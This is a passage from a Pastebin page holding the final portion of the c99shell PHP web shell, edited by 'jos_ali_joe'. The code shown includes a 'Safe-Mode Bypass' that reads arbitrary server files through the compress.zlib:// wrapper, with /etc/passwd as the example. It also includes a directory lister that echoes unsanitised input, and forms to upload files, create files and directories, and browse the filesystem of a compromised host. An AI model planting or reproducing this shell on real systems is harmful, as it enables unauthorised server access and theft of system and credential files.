  2809. <div align="center">
  2810. File: <input type="text" name="file"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
  2811. <?php
  2812. function rsg_read()
  2813. {
  2814. $test="";
  2815. $temp=tempnam($test, "cx");
  2816. $file=$_REQUEST['file'];
  2817. $get=htmlspecialchars($file);
  2818. echo "</br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
  2819. if(copy("compress.zlib://".$file, $temp)){
  2820. $fichier = fopen($temp, "r");
  2821. $action = fread($fichier, filesize($temp));
  2822. fclose($fichier);
  2823. $source=htmlspecialchars($action);
  2824.  
  2825.  
  2826. echo "<div class=\"shell\"></br><b>Reading $get:</b><br><br><textarea rows=10 cols=50>$source</textarea><br>";
  2827. unlink($temp);
  2828. } else {
  2829. echo("</br><FONT COLOR=\"RED\"><CENTER>Sorry... File
  2830. <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
  2831. access.</CENTER></FONT>");
  2832. }
  2833. echo "</div>";
  2834. }
  2835.  
  2836. if(isset($_REQUEST['file']))
  2837. {
  2838. rsg_read();
  2839. }
  2840.  
  2841. ?>
  2842.  
  2843. <?
  2844.  
  2845. function rsg_glob()
  2846. {
  2847. $chemin=$_REQUEST['directory'];
  2848. $files = glob("$chemin*");
  2849. echo "</br>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
  2850. foreach ($files as $filename) {
  2851. echo "<pre>";
  2852. echo "$filename\n";
  2853. echo "</pre>";
  2854. }
  2855. }
  2856.  
  2857. if(isset($_REQUEST['directory']))
  2858. {
  2859. rsg_glob();
  2860. }
  2861.  
  2862. ?>
  2863.  
  2864. <br>
  2865. </div>
  2866. </form>
  2867. </td>
  2868. <td width="50%" height="83" valign="top"><center>
  2869. <center>
  2870. <strong>PHP Safe-Mode Bypass (List Directories)</strong>:
  2871. <form action="<?php echo $surl; ?>" method="post">
  2872. <div align="center"><br>
  2873. Dir: <input type="text" name="directory"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
  2874.  
  2875. </form></center>
  2876. </td>
  2877. </tr></TABLE>
  2878. <br><TABLE width=100% id=bordered>
  2879. <tr>
  2880. <td width="50%" height="1" valign="top"><center>
  2881. <b>Search</b>
  2882. <form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  2883. <td width="50%" height="1" valign="top"><center>
  2884. <b>Upload</b>
  2885. <form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  2886. </tr>
  2887. </table>
  2888. <br><TABLE width=100% id=bordered><tr><td width="50%" height="1" valign="top"><center>
  2889. <b><strong>Create Directory
  2890. </strong>
  2891. <p><form action="<?php echo $PHP_SELF; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>
  2892. <strong>Create File </strong>
  2893. <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  2894.  
  2895. <br><TABLE width=100% id=bordered><tr><td width="50%" height="1" valign="top"><center>
  2896. <b>Enter Directory </b>
  2897. <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>
  2898. <b>Access File</b>
  2899. <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  2900. </td>
  2901. </tr>
  2902. </TABLE>
  2903. <br><br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell Editing by <a href=http://devilzc0de.org/ class="style1">jos_ali_joe</a>. | <? echo("$shver"); ?> ]--</p></td></tr></table>
  2904. <br/></body></html><?php chdir($lastdir); c99shexit(); ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!